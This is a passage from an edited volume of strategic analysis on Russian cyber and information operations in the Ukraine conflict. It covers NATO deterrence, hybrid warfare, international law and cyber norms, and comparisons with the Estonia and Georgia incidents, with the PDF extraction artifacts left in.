Americans were slow to realise that the Soviets were in fact writing about American weapons, and the nascent precision-strike complex, which was in fact possessed exclusively by the United States and the NATO alliance.
As a result, many of the key concepts related to the application of information-age technologies in warfare were produced by Soviets thinking about the weapons systems being deployed by their opponents, and not by the more technically competent Americans.
11 Dima Adamsky.
The Culture of Military Innovation: The Impact of Cultural Factors on the Revolution in Military Affairs in Rus- sia, the US and Israel (Stanford: Stanford University Press, 2010).
34 2 Russian Cyber Strategy Today, how is this Clausewitzian-inspired Russian strategic imagination being applied to the use of cyber power?
The answer can be found by first exploring the strategic challenge they apparently believe they face: the NATO alliance.
NATO is based on the concept of collective defence that enhances its strategy of deterrence.
Through formal agreements and long-standing and extensive collaboration, NATO sends a strong signal that member states will stand together in the face of threats to collectively deter aggression against its members.
The objective of this deterrent policy is to preserve the peace.
This is a key observation.
The goal of NATOs deter- rent strategy is to reduce or even eliminate the possibility of war by ensuring that aggressors understand ex ante that an attack against one of its members is an attack against the entire Alliance.
Especially today, NATO primarily exists to prevent war, not to develop enhanced strategies or capabilities to prosecute war or to wield forces to achieve ancillary objectives.
In a sense, NATO exists to preserve the peace and to make sure that changes to the status quo in Europe occur through political pro- cesses that lead to the spread of democracy, the rule of law, and adherence to inter- national norms.
The raison dtre of NATO is to preserve the peace the purpose behind its strategy is to deter war.
To achieve its objective  rapid change of the European status quo to better fit their Russia-centric, not democratically-cantered, interests and preferences Russia opted to pick a course of action not to defeat NATO, but to defeat NATOs strategy.
By presenting the Western alliance with a fait accompli through actions that produce minimal death and destruction, Russia attempted to shift the onus of escalation onto NATO, thereby inflict- ing a strategic defeat on the Alliance at the outset of hostilities or even in the event of non-democratic changes to the status quo.
Russia is banking on the hope that NATO will either be incapable or unwilling to transform this strategic defeat into active conventional combat, which would further undermine NATOs goal of preserving the peace.
In effect, the Russians seem to have realised that by defeating NATOs strategy at the outset of a confrontation, they can actually alter political perceptions within the Alliance in a way that suits their objectives.
Put somewhat differently, the risk of a forceful NATO response to some provocation is minimised by keep- ing the death and destruction associated with any fait accompli to an absolute minimum.
NATO is especially vulnerable to cyberattacks and information war- fare because Russia can undermine NATOs deterrent strategy without causing casualties.
NATO has the option of reversing the fait accompli, but the required level of death and destruction simply highlights the failure of its deterrent strategy.
Russia opted to pick a course of action not to defeat NATO, but NATOs strategy.
35 Cyber power, as a key facet of hybrid warfare, is an important enabler in an attack on NATOs deterrent strategy.12 Cyber attacks are not specifically targeted to eliminate key nodes, but to intensify the fog of war by sowing confusion within command and control networks and NATO polities.
For instance, according to press reports, Russian movement into the Ukraine was accompanied by myr- iad cyber attacks, including Distributed Denial of Service (DDoS) tactics against computers in Kyiv, Poland, the European Parliament, and the European Commis- sion.13 If local political and military leaders cannot develop an accurate estimate of quickly developing events, critical hours or even days can be gained with which Russia can create facts on the ground that can only be reversed at great effort.
A little bit of sand in the works, so to speak, is enough to further delay the relatively slow- pace of decision-making in the West.14 The annexation of Crimea also began with a series of covert operations that used a disinformation campaign to create ambiguity and delay Ukraines response, effec- tively extending the element of surprise achieved by the Russian gambit.
According to Michael Kofman and Matthew Rohansky: Russias use of broadcast tools for propaganda and psychological operations, part of a broader information campaign to support the Crimean annexation, caught both the Ukraine and the West by surprise.
Moscow amped up the alarmist content of its broadcasting . . .
stoking fear and confusion in Crimea.15 Admittedly, the annexation was completed using more traditional operations involving conventional units, but the cyber-enabled opening moves not only allowed Russia to test the Western response, but to buy the time needed to create a fait accompli through conventional means.
Western analysts have noted that even though the Crimea crisis surprised the West, the Russian effort to integrate television and the internet, especially various 12 As Michael Kofman and Matthew Rojansky note, hybrid warfare, including the Russian variations used against the Ukraine is not unique.
The point here, however, is that Russia is particularly adept as using cyber power in the practice of hybrid war- fare see Kofman and Rojansky, (op cit) p. 2.
Other analysts have noted how the Crimea annexation and the additional actions against Ukraine were dependant on capabilities long under development that were especially crafted not to trigger a NATO response Aleksandr Golts and Heidi Reisinger.
Russias Hybrid Warfare: Waging War below the Radar of Traditional Collec- tive Defence, Research Paper No 105 (Research Division  NATO Defence College Rome) November 2014.
13 Owen Matthews.
BIG READ: Russia leading the way in the cyber arms race, Irish Examiner, Saturday June 13, 2015.
www.
irishexaminer.comlifestylefeaturebig-read-russia-leading-the-way-in-the-cyber-arms-race-336675.html.
14 The key point is that information denial or dominance does not have to be absolute, it just needs to foster delay and uncer- tainty in Western political and military decision-making.
According to Paul Saunders, Russias seizure of Crimea happened very quickly.
U.S. and European decision-making processes just dont move at that speed, particularly when facing ambiguity.
Once a Crimea-style operation has begun, it will be extremely difficult if not impossible for Western decision-makers to be sufficiently confident about the other sides intent to take consequential action before its too late Saunders, P. Why America Cant Stop Russias Hybrid Warfare, The National Interest June 23, 2015.
www.nationalinterest.org/feature/shy-america-cant- stop-russias-hybrid-warfare-13166.
15 Kofman and Rojansky, p. 4.
Cyber power is an impor- tant enabler in an attack on NATOs deterrent strategy.
36 types of social media, into its effort to shape opponents political perspectives, has been ongoing for quite some time.
In a sense, Russia has worked hard to use the internet to shape the political environment of conflict: it has (1) developed inter- nally and externally focused media with a significant online presence (2) used social media to guarantee that Russian narratives reach the broadest possible audi- ence and (3) polished their content in terms of language and presentation so that it rings true in various cultural settings.16 These activities have recently been given their own moniker  trolling  the practice of creating cyber actors with false iden- tities to communicate tailored messages to an unsuspecting audience.17 According to Keir Giles: Russian assessments of current events makes it clear that Russia considers itself to be engaged in full-scale information warfare, involving not only offensive but defensive operations  whether or not its notional adversaries have actually noticed this is happening.18 What most analysts fail to realise, however, is that Moscow has shaped this cyber-enabled information warfare in a very strategic manner.
Cyber power is being wielded as a strategic weapon to create facts on the ground with the minimal use of kinetic force.
3 Conclusion Because of its rather inchoate nature, the cyber domain is a milieu in which vari- ous strategic cultures can be manifest.
Russian strategic culture focuses on war as a political activity for cyber power to have a truly strategic effect, Russia believes that it must contribute directly to shaping political outcomes by altering the political perceptions of their opponents to better suit their interests.
If one also accepts the idea that Russians are especially adept at understanding the political and strategic impact of new technologies, it is possible that they have grasped the real strategic opportunities created by the information revolution  opportunities that might be given short shrift by analysts shaped by different strategic cultures.
The true test of strategy, however, is found in a specific geopolitical and military context.
In terms of Crimea and Ukraine, the Russians have developed an exquisite strategic application of cyber power not to defeat NATOs military capabilities, but to defeat NATOs strategy by creating a fait accompli while sidestepping NATOs deterrent.
By using cyber power to create facts on the ground with minimal casual- 16 Keir Giles.
Working Paper: Russias Hybrid Warfare: a Success in Propaganda, European Security and Defence College, 18 February 2015.
www.baks.bund.dedeaktuelles/working-paper-russias-hybrid-warfe-a-success-in propaganda 17 Adrian Chen.
The Agency, New York Times Magazine, June 2, 2015.
p. 57.
18 Giles.
ties, they shifted the onus of escalation onto NATO to reverse the fait accompli.
In a sense, they created a situation in which NATO leaders must choose between suffer- ing a harsh strategic defeat (the eruption of war in Europe) and the accommodation of the Russian annexation of Crimea and ongoing pressure against Ukraine.
Cyber power, either in the form of direct attacks or a concerted information campaign, was used to create this dilemma for NATO by delaying a Western response until these stark choices emerged.
The lesson is clear: if one can defeat an opponents strategy, then it is possible to achieve ones objectives without defeating an opponents forces or triggering execution of a deterrent threat.
39 Compelling Opponents to Our Will: The Role of Cyber Warfare in Ukraine James Andrew Lewis Centre for Strategic and International Studies (CSIS) 1 Metric for Cyber Attack The conflict in Ukraine has challenged fundamental elements of Western alliance strategy.
Russian efforts exploit a general reluctance by the West  natural in democ- racies  to risk war.
The West has been unable to deter Russia from its adventure.
Cyber warfare has played only a limited role in this.
The concepts of strategic and military effect provide us with two metrics for assessing the effect of cyber attacks gen- erally, and for Russian cyber activities in Ukraine.
Strategic effect would be to dimin- ish the opponents will or capacity to resist.
This can include politically coercive cyber actions such as were used against Estonia.
Military effect would be degradation in the performance of commanders, troops, and weapons, demonstrated by U.S. actions in its Middle Eastern conflicts or as part of the 2007 Israeli airstrike in Syria1.
Cyber attacks that produce strategic or military effect can include the manipula- tion of software, data, knowledge, and opinion to degrade performance and produce political or psychological effect.
Introducing uncertainty into the minds of opposing commanders or political leaders is a worthy military objective.
Manipulating public opinion to damage an opponents legitimacy and authority in both domestic and international audiences is also valuable.
Some actions may provide only symbolic effect aimed at a domestic audience, but this too is valuable for a nation in conflict.
1 David Makovsky.
The Silent Strike: How Israel bombed a Syrian nuclear installation and kept it secret, The New Yorker, 17 September 2012, http://www.newyorker.com/magazine/2012/09/17/the-silent-strike.
Chapter 4 40 To assess non-kinetic effect as a contributor for strategic or military advan- tage, we must look for observable effects in three categories: creating confusion, shaping opinion, and inflicting damage to data or services.
Using these metrics, we can conclude that Russian cyber efforts in Ukraine produced an early tactical effect that has since tapered off and, since they are limited to actions that do not produce physical or disruptive consequences, have largely failed to achieve stra- tegic or military effect.
2 Strategic and Military Effect The Ukraine conflict has been described as hybrid warfare a mixture of unconven- tional tactics and strategies, irregular forces, covert action, cyber operations, and political manipulation to achieve strategic goals.
In essence, hybrid warfare is a col- lection of tactics designed to circumvent deterrence and avoid military retaliation by skirting the threshold of what could be considered state use of armed force.
In this new style of conflict, non-kinetic actions can be as important as kinetic attacks.
Hybrid warfare highlights the central problem for our understanding and manage- ment of interstate conflict conventional warfare is now only part of a larger range of coercive actions available to nations.
Cyber operations  the ability to remotely manipulate computer networks  have created a capability that is well suited to this new political-military environ- ment.
Cyber capabilities create an oper- ational space in which nations can con- duct offensive action with less political risk, given the grey area in international law which cyber war inhabits, and where opponents can find it difficult to respond.
Advanced cyber action can create physical effects equivalent to kinetic attack, but we should not interpret cyber capabilities solely from the perspective of physical effect.
While cyber attacks can produce effects similar to kinetic weapons, there is an informational aspect involving the manipulation of opinion and decision-making that is equally important and much more frequently used.
Cyber attack can pro- duce results equivalent to kinetic attack, but this is not its primary effect, which (at least for now) is to manipulate data, knowledge, and opinion to produce polit- ical or psychological effect rather than physical damage.
Introducing uncertainty into the minds of opposing commanders or political leaders is a worthwhile mili- tary goal, as it will cause them to make mistakes or to become hesitant, providing the attacker with dominance of the battle space and the advantage of putting the defender in a reactive posture.
Cyber actions that manipulate public opinion to Cyber capabilities create an operational space in which nations can conduct offensive action with less political risk.
41 affect an opponents legitimacy and authority are also valuable in conflict among states.
Cyber attack creates an operational space for coercive action that avoids many of the political risks of kinetic warfare.
Cyber attacks are attractive in that they offer varying degrees of covertness and their treatment under international law remains ambiguous in regard to whether they qualify as an armed attack that would legiti- mise retaliation.
Although cyber tools and techniques can be used in harmful ways, they are not weapons per se, which can make it difficult to decide when a cyber incident can be considered an armed attack or a use of force.
An initial effort to define how a cyber incident could qualify as a use of force or armed attack would be to consider that an effect of the cyber action was the equivalent of an attack using conventional weapons producing physical destruc- tion or casualties.
A cyber incident that produced injury or death to persons and the destruction of or damage to property would certainly be considered as a use of force or armed attack.
A cyber attack that produced intangible effects of such scope, intensity, and duration that they are judged to have consequences or harmful effects of sufficient scale and gravity could also be considered an armed attack.
No Russian action in Ukraine rises to this level.
Overall, the use of offensive cyber capabilities for kinetic effect has been minimal, with only a few known inci- dents.
Russia is one of the most skilled among the nations who have developed cyber capabilities, but we have not seen extensive use of actual attacks against Ukraine.
Neither critical infrastructure nor Ukrainian weapons have been damaged or disrupted.
Russia has used its cyber capabilities primarily for political coercion, opinion-shaping, and intelligence gathering, and these cyber operations fall below the threshold set in Article V of the North Atlantic Treaty.
Operations in Estonia, Georgia, and now Ukraine suggest that NATO may need to adjust its thinking about how opponents will use cyber attacks.
Russia has been relatively careful in the overt use of its own forces  especially compared to its actions against Georgia where the Russian Ministry of Defence con- firmed that Russian armoured units were engaged in combat for peace enforce- ment.
The Russian army occupied Georgian territory and Russian aircraft bombed targets including the capital.2 Russian actions in Ukraine took a different course.
The current caution may reflect lessons learned in Georgia or a desire to preserve some degree of deniability, and manoeuvring to avoid an overt violation of interna- tional law.
Cyber attack does not require an act of violence to compel our opponent to fulfil our will.3 Violence through cyber means is possible, but that is not the only or even primary use of cyber attack.
Its effects are more often intangible and 2 Library of Congress, Russian Federation: Legal Aspects of War in Georgia, http://www.loc.gov/law/help/russian-georgia-war.
php.
3 Clausewitzs definition of war.
42 informational, and are intended to manipulate data, create uncertainty, and shape opinion.
An emphasis on kinetic effect can obscure important operational dis- tinctions in the use of cyber techniques and complicates efforts to develop norms for cyber conflict.
3 Norms and the Application of International Law4 Russias activities in Ukraine have implications for both cyber warfare and for cyber norms.
Russian actions have carved new contours for conflict that do not map per- fectly to existing concepts and rules for warfare and defence.
Existing norms and laws for armed attack were based on the use or threat of use of physical violence and force.
These must be adjusted, if not amended, for cyber conflict.
Efforts to redefine violence and force to include the full range of possible cyber actions (such as Russian and Chinese efforts in the United Nations (UN) to define information as a weapon5) have so far introduced more ambiguity than clarity.
Information is clearly not a weapon, but a minimalist definition that emphasises kinetic effect is also inadequate in capturing the full range of cyber effects.
As such, the rules for cyber conflict pose a challenge to existing international law.
Currently, there is no agreement among leading nations, and it is interest- ing to note that with the 2015 Group of Governmental Experts (GGE), which was tasked to look at the application of international law to cyber conflict,6 this topic proved to be the most difficult.
Disagreements over the application of international law between Russia, China and a few others on one hand, and NATO nations on the other, almost derailed the talks.
The crux of the disagreement was over the application of specific provisions of the UN Charter, (the general applicability of the Charter had been agreed to in earlier GGEs), and in particular the applicability of Article 2/4 (renouncing the use of force) and Article 51 (the inherent right to self-defence).
One ques- tion for the development of further norms for cyber conflict becomes whether it is possible to move beyond the norms embedded in the UN Charter and the international agreements governing the conduct of warfare and armed conflict, to address this new aspect of warfare and to create norms that govern non-ki- 4 The author was rapporteur to the UN Group of Governmental Experts in 2010, 2013 and 2015.
5 See, for example, SCO, Agreement between the Governments of the Member States of the Shanghai Cooperation Organisation on Cooperation in the Field of International Information Security, 2009, https://ccdcoe.org/sites/default/files/documents/ SCO-090616-IISAgreementRussian.pdf [in Russian].
6 Along with norms and confidence building measures, see Group of Governmental Experts Report on Developments in the Field of Information and Telecommunications in the Context of International Security, A/70/174, 22 July 2015, UNODA, http://www.
un.org/ga/search/view_doc.asp?symbolA/70/174.
The rules for cyber conflict pose a challenge to existing international law.
http://www.un.org/ga/search/view_doc.asp?symbolA/70/174 http://www.un.org/ga/search/view_doc.asp?symbolA/70/174 43 netic action.
One possible avenue for progress would be to expand the Charter commitment to avoid actions that threaten the territorial integrity or political independence of a state (found in Articles 2/4 and 51) to explicitly include cyber actions.
Continued ambiguity over the application of these UN Charter articles serves the interests of Russia and China by not creating grounds for or legitimising retalia- tion for cyber actions.7 This includes a general rejection of Western efforts to define use of force and armed attack using the concepts of equivalence and effect.
These ambiguities, however, are not unique to cyber conflict, date from the signing of the Charter, and reflect conflicting desires to renounce the use of force while preserving the right to use force in self-defence.
The Russian and Chinese goal, similar to other actions in arms control negotiations by these countries, is to constrain the U.S. and its allies.
Intentional ambiguity may define the emerging strategic conflict between Russia and the West for the foreseeable future.
Russian cyber tactics accentuate and expand ambiguity.
The Russian concept of cyber warfare blends elements of what would be considered information warfare in the West.
It is well known that the Russians prefer to use the phrase information conflict to cyber conflict on the grounds that cyber is too narrow and technical.
Unsurprisingly, this preference reflects their use and understanding of cyber techniques.
The norms before the UN General Assembly for approval at its 70th session will reiterate the rule of international law and the UN Charter, although how these are to be applied is a matter of intense dispute.
They call for states not to attack critical infrastructure in peacetime, and to take note of the principles of humanity, neces- sity, proportionality, and distinction whey they exercise their inherent rights rec- ognised by the UN Charter, including the right of self-defence.
They do not address the use of cyber tools for political coercion, and it is interesting and indicative to note that Russia, which has made the most frequent use of cyber coercion, is the leading proponent for such norms.
State practice suggests that there is an implicit threshold among states to avoid cyber actions against each other that could be interpreted as the use of force or an armed attack.
This creates implicit norms for state behaviour derived from international practice that constrain malicious cyber actions, but these implicit norms are inadequate for this new form of conflict.
The kind of cyber conflict we have seen in Ukraine poses a challenge not only to existing Western strategy (which is based on international law and UN Charter commitments) but also for the development of norms.
If the trend in warfare is to circumvent direct con- frontation between conventional forces (particularly the conventional forces of the U.S. and its allies), and if cyber conflict will often not involve kinetic effect or territorial intrusions, existing norms and rules for conflict will have limited application.
7 According to conversations between the author and GGE representatives from many countries.
44 We can place cyber norms into four categories: Those that call for observation of existing international law regarding state responsibility, especially the laws of armed conflict Those that seek to exempt from cyber attack infrastructures where an attack could have an indiscriminate effect such as critical infrastruc- tures, including the infrastructure of the global internet Norms on state responsibilities to assist other states that are the victim of cyber attacks and Norms on the proliferation of cyber technologies that could be used for malevolent purposes (which is still nascent and suffers from defini- tional problems).
None of these norms can be easily extended to the new modes of coercion created by cyber capabilities.
The stricture that comes closest is the Article 2/4 commitment to refrain from the use of force against the political independence of another state, but cyber actions such as we have seen in Ukraine cannot be considered a use of force.
Cyber actions that do not have physical effect and which are taken outside the con- text of formal conflict do not fit well with the existing structure of international practice.
Nations appear to observe an implicit threshold for their use of cyber tools and with very few exceptions, have avoided actions that could be considered under international law as a use of force or an armed attack.
Attempts to expand these implicit understandings or to redefine the use of force to include coer- cive or politically manipulative cyber actions immediately run into problems.
The central problem is access to information, because sev- eral countries would happily support a norm that restricts access to information.
Russia, in particular, is quick to label any criticism of its behaviour as disinforma- tion, information warfare, or propaganda.
Russian negotiating behaviour, shaped in good measure by Soviet precedent, is often defensive, seeking to constrain the U.S. and its allies in areas where the West has a technological advantage, or to limit the political risks the internet creates.
This defensive orientation creates a negotiating agenda that conflicts with Western countries when it comes to norms.
4 Comparing Ukraine to Estonia and Georgia Contrasting Russian cyber activities in Ukraine with Estonia and Georgia is helpful in assessing their use and value, as well as in considering what new norms might look like.
The cyber attacks in Estonia8, composed of service disruptions and denial 8 Eneken Tikk, Kadri Kaska and Liis Vihul.
International Cyber Incidents: Legal Considerations (Tallinn, Estonia: NATO Coop- erative Cyber Defence of Excellence, 2010).
Nations appear to observe an implicit threshold for their use of cyber tools.
45 of service incidents, could best be compared to the online equivalent of a noisy pro- test in front of government buildings and banks.
They had little tangible effect, but they created uncertainty and fear among Estonian leaders as they were considered a potential precursor to armed Russian intervention.
In Georgia9, cyber attacks were closely coordinated with Russian military operations.
The effects of the cyber attacks in Estonia and Georgia deserve more careful study.
The attacks did not cripple or bring Estonia to its knees, and NATOs decision not to invoke Article V reflects this fact.
They were frightening not because of the cyber effect, but because of Estonian concerns about Russian intentions, NATOs reliability, and their internal Russian-speaking minority.
Similarly, cyber attacks on Georgia were largely symbolic.
The most visible incident was the defacement of the Georgian Presidents website by Russian hackers, who drew moustaches on his pho- tograph.
The most interesting part of the Georgia episode was the close operational coordination between the hackers and the Russian military.
The Russians continue to experiment with cyber tools to support their political objectives.
If the Russian goal in Ukraine is to shape global public opinion, there were some early successes in painting the Ukrainians as fascists (a favoured communist insult) guilty of human rights violations.
But no one believes that anymore, and the tide of public opinion has turned heavily against Russia.
A recent Pew Research survey on global opinion captures the change and is entitled Russia, Putin, Held in Low Esteem around the World.10 In this, the current Rus- sian regime has not done as well as its com- munist predecessors, who could at least cloak their actions in the rhetoric of Marxism.
Rus- sias current effort to hire hundreds of internet trolls11 to insert pro-Russian opinions in the Western press has proven to be feckless.
Per- haps the benefit is domestic, persuading the Russian population of the righteous- ness of Russias course of action,12 but as a tool of coercion, the absence of infor- mational disruption (as in the case of Sony or Aramco) or physical effects (as with Stuxnet) makes Russian cyber operations annoying, but ultimately inconsequential.
The most successful Russian tactics were creating or supporting pro-Russian separatist groups in areas with significant Russian-speaking minorities and then using Russian special and ultimately conventional forces to stiffen and protect these groups from the Ukrainian response.
Cyber attack was largely irrelevant.
9 Ibid.
10 Bruce Stokes.
Russia, Putin, Held in Low Esteem around the World, Pew Research Centre, 5 August 2015, http://www.pew- global.org/2015/08/05/russia-putin-held-in-low-regard-around-the-world/.
11 See, for example, Dmitry Volchek and Daisy Sindelar, One Professional Russian Troll Tells All, RadioFreeEurope/RadioLiberty, 25 March 2015, sec.
Russia, http://www.rferl.org/content/how-to-guide-russian-trolling-trolls/26919999.html.
12 Katie Simmons, Bruce Strokes and Jacob Poushter.
NATO Publics Blame Russia for Ukrainian Crisis, but Reluctant to Pro- vide Military Aid, Pew Research Centre, 15 July 2015, http://www.pewglobal.org/2015/06/10/2-russian-public-opinion-putin- praised-west-panned/.
If the Russian goal is to shape global public opinion, there were early successes in painting the Ukrainians as fascists.
46 Both Western and Russian analysts may have drawn the wrong lessons from Estonia and Georgia.
States (especially states with a fondness for Lenin) will use cyber attacks for politically coercive purposes and might use them for military purposes, to disrupt data or services.
But the incidents in Ukraine did not disrupt command and control, deny access to information, or have any noticeable military effect.
This means that we (and the Russians) may overestimate the coercive effect of cyber attacks and that their real military value is achieved when there is physical effect or disruption of data and critical services, something that most denial of ser- vice attacks cannot produce.
Cyber attacks are a support weapon and will shape the battlefield, but by themselves they will not produce victory.
Cyber attacks sup- port other weapons and operations, as in the 2007 Israeli attack against Syrian air defence.
This is still a subject of intense debate, but experience suggests that it is easy to exaggerate the effect of cyber attack.
A more accurate assessment would rank cyber activities into three categories: espionage, operational, and political.
However, note that the benefits of the former are clear, while the latter are open to question.
To provide strategic or military effect, cyber actions must produce destructive effect and be integrated into existing military structures, doctrine, planning, and operations.
Estonia and Georgia can be contrasted with two known attacks that did have military effect.
The Israeli air strike against a Syrian nuclear facility is reported to have used cyber means to disrupt Syrian air defence radars, allowing the aircraft to fly undetected across much of the country.13 In this case, there was no physical damage but a vital service was disrupted.
With Stuxnet, there was physical damage, albeit inflicted covertly, that could be duplicated in overt warfare, noting that a degree of caution is warranted to predict the effect of cyber attacks on civilian infrastructure.14 We should also note the reported use of cyber techniques by the U.S. to disrupt or confuse Taliban command and control, often with lethal results for the insurgents.15 If cyber is the weaponisation of signals intelligence, it appears that to have actual military effect, there must be physical damage.
This is a consideration of cyber as a tool of military action and does not consider either traditional methods of electronic warfare, which Russia has used extensively in Ukraine,16 nor the intelligence value of Russian cyber espionage.
We do not know the role cyber espionage played in these efforts, but if Russian successes against the United States are any guide, we can assume cyber spying made a positive contribu- 13 David Makovsky.
The Silent Strike: How Israel bombed a Syrian nuclear installation and kept it secret, The New Yorker, 17 September 2012, http://www.newyorker.com/magazine/2012/09/17/the-silent-strike.
14 Kim Zetter.
An Unprecedented Look At Stuxnet, The Worlds First Digital Weapon, Wired, 3 November 2014, http://www.
wired.com/2014/11/countdown-to-zero-day-stuxnet/.
15 Interviews with US military officials.
16 Joe Gould.
Electronic Warfare: What US Army Can Learn From Ukraine, Defense News, 4 August 2015, http://www.defense- news.com/story/defense/policy-budget/warfare/2015/08/02/us-army-ukraine-russia-electronic-warfare/30913397/.
If cyber is the weaponisation of signals intelligence, there must be physical damage.
tion.
That Russia has completely penetrated Ukrainian communication networks and has unparalleled access to Ukrainian communications is likely to provide con- siderable value for Russian tactics and planning, but cyber as a tool of coercion has proven to be of limited utility.
This is certainly not the cyber war as it is often depicted in public media, but it does not mean that cyber attack is overrated and militaries can deemphasise it.
That would be a rash conclusion.
It means that the Russians, for whatever reason, chose not to use the most damaging forms of cyber attack against Ukraine, Georgia, or Estonia.
If allegations that Russia were responsible for damaging cyber attacks on a German steel mill17 and a Turkish pipeline18 are correct, these would demon- strate that Russia has the capability necessary for cyber attacks that would create physical damage and qualify as a use of force.
Russias 2008 exploit in penetrating Central Commands classified networks19 was an early demonstration of its ability to implant malware on an opponents networks that could erase data and disrupt command and control, but the Russians chose not to do this.
In Ukraine, Russia has experimented with how best to produce military and political benefits from cyber operations.
Political context and alliance relationships have a powerful influence in constraining the use of force, including cyber attacks.
Its cyber actions appear to reflect a decision not to engage the full range of Russian cyber capabilities.
Other potential opponents, including NATO, should not assume that in the event of conflict, the Russians will make the same decision.
17 Hack attack causes massive damage at steel works, BBC, 22 December 2014, http://www.bbc.com/news/technology-30575104.
18 Ariel Bogle.
A Cyber Attack May Have Caused a Turkish Oil Pipeline to Catch Fire in 2008, Slate, 11 December 2014, http:// www.slate.com/blogs/future_tense/2014/12/11/bloomberg_reports_a_cyber_attack_may_have_made_a_turkish_oil_pipe- line_catch.html.
19 Phil Stewart and Jim Wolf.
Old worm wont die after 2008 attack on military, Reuters, 16 June 2011, http://www.reuters.com/ article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617.
http://www.bbc.com/news/technology-30575104 http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 49 The Cyber War that Wasnt Martin Libicki RAND 1 Introduction: Isnt It Time for Cyber War?
For the last twenty years, with the advent of serious thinking about cyber war, most analysts  and even the more sceptical thinkers  have been convinced that all future kinetic wars between modern countries would have a clear cyber component.
How- ever, the current Russo-Ukrainian conflict is challenging this widely held notion.
Coinciding with this assumption, however, it must be said that within the past generation there have been few conflicts in which both sides appeared both capa- ble of and vulnerable to cyber attack.
Either one party to the conflict  usually the United States  held all the cyber cards, or neither did.
For cyber war to take place, at least one side must have enough digi- tised networked equipment to make much difference.
In some past conflicts, the US may have abstained from fir- ing digital weapons because the other side simply lacked appropriate targets.
Many analysts have speculated that the US, and now other highly networked soci- eties, may hesitate to use cyber tactics because of their own inherent vulnerabilities in this domain.
Apart from Stuxnet, the most frequently cited example of cyber war in action came during an alleged Israel Air Force strike against Syrian nuclear facilities in 2007.
Integrated air-defence systems (IADS) have been considered ripe targets for Chapter 5 Analysts have been convinced that future kinetic wars would have a clear cyber component.
50 cyber warfare, but it was understood that there would be a cost-benefit analysis relative to dispatching them using more familiar tools such as electronic warfare or missiles.
There were rumours, for example, that the US employed cyberwar tech- niques against Serbian IADS in 1999, but these rumours were never substantiated.
Even the Syrian story may be a fairy tale, as the details are classified and subject to much speculation.
It is possible that the tactics were in fact more conventional, such as traditional jamming.1 2 Unique Aspects of the Russo-Ukrainian Conflict The current Russo-Ukrainian conflict, however, is a different case, and it should help us to understand if cyber war is, in 2015, more myth or reality.
According to the prevailing assumption, this war should have seen serious and open cyber war strategies and tactics.
Both countries have technologically advanced societies and weaponry that at least came up to 1990 standards of modernity.
Both countries have a strong information technology (IT) base, and hackers a-plenty, although many of them are engaged in organised crime rather than working for the state.2 Russias state-sponsored hackers are widely believed to be on par with, or very close to, NSA- level standards.
The most notable thing about the war in Ukraine, however, is the near-com- plete absence of any perceptible cyber war.
There has been vigorous cyber espi- onage,3 the targeting of cell phones by Russian electronic warfare, and the use of old-fashioned bolt-cutters to sever lines of communication in Crimea.4 Patriotic hacktivists on both sides have conducted harassing but small cyber attacks against each other,5 both sides have conducted Distributed Deni- al-of-Service (DDoS) attacks (e.g., by Russia against Ukraines parliament),6 and 1 As Richard Clarke and Robert Knake maintain in Cyberwar, The Next Threat to National Security and What to do About It, New York NY: HarperCollins, 2010 see also David Makovsky.
The Silent Strike: How Israel bombed a Syrian nuclear installation and kept it secret, The New Yorker, 17 September 2012, http://www.newyorker.com/magazine/2012/09/17/the-silent-strike.
2 Ukraines hackers do not make as much news but consider Dan Goodin.
Strange snafu hijacks UK nuke makers traffic, routes it through Ukraine, ARS Technica UK, 13 March 2015, http://arstechnica.com/security/2015/03/mysterious-snafu-hijacks-uk- nukes-makers-traffic-through-ukraine/.
3 Apparently, the Russians have developed some powerful malware for that purpose against Ukraine: cyber-snake (aka Ourob- oros).
See Sam Jones.
Cyber Snake plagues Ukraine networks, FT Online, 7 March 2014, in http://www.ft.com/cms/s/0/615c- 29ba-a614-11e3-8a2a-00144feab7de.html or David Sanger and Steven Erlanger, Suspicion Falls on Russia as Snake Cyber- attacks Target Ukraines Government NY Times Online, 8 March 2014, http://www.nytimes.com/2014/03/09/world/europe/ suspicion-falls-on-russia-as-snake-cyberattacks-target-ukraines-government.html.
4 Sam Jones.
Kremlin alleged to wage cyber warfare on Kiev, FT Online, 5 June 2014, http://www.ft.com/intl/cms/s/0/e504e278- e29d-11e3-a829-00144feabdc0.htmlaxzz3b4c6egXI.
See also the claim of General Breedlove, EUCOMs Commander: They disconnected the Ukrainian forces in Crimea from their command and control, from Michael Gordon.
NATO Commander Says He Sees Potent Threat From Russia, NY Time Online, 2 April 2014, http://www.nytimes.com/2014/04/03/world/europe/ nato-general-says-russian-force-poised-to-invade-ukraine.html.
5 Cyber Berkut Hackers Target Major Ukrainian Bank, The Moscow Times, 4 June 2014, http://www.themoscowtimes.com/ business/article/cyber-berkut-hackers-target-major-ukrainian-bank/502992.html of July 4, 2014.
6 Nicole Perloth.
Cyberattacks Rise as Ukraine Crisis Spills to Internet, New York Times Bits, 4 March 2014, http://bits.blogs.
nytimes.com/2014/03/04/cyberattacks-rise-as-ukraine-crisis-spills-on-the-internet/.
http://www.ft.com/cms/s/0/615c29ba-a614-11e3-8a2a-00144feab7de.html http://www.ft.com/cms/s/0/615c29ba-a614-11e3-8a2a-00144feab7de.html http://www.ft.com/intl/cms/s/0/e504e278-e29d-11e3-a829-00144feabdc0.htmlaxzz3b4c6egXI http://www.ft.com/intl/cms/s/0/e504e278-e29d-11e3-a829-00144feabdc0.htmlaxzz3b4c6egXI http://www.themoscowtimes.com/business/article/cyber-berkut-hackers-target-major-ukrainian-bank/502992.html of July 4 http://www.themoscowtimes.com/business/article/cyber-berkut-hackers-target-major-ukrainian-bank/502992.html of July 4 51 a (fruitless) campaign to corrupt voting processes in Ukraine.7 However, we have seen nothing comparable to the cyber attacks carried out against Estonia in 2007 or Georgia in 2008.
On the other hand, the information and propaganda war in the social media domain (particularly from the Russian side) has been relentless.
In this regard, Mos- cow has a competitive advantage over Kyiv.
The two countries share a common lan- guage, Russian (the use of the Ukrainian language is growing fast, but that language is Slavic), and most Russian-language-friendly sites such as VKontakte (the Russian Facebook) are headquartered in Russia.
That said, little if any of the conflict taking place in social media requires subverting computers through the discovery of vul- nerabilities or the engagement of exploits.
In particular, there are two major forms of cyber attack that have not taken place in the Russo-Ukrainian conflict: attacks on critical infrastructure and attacks on defence systems.
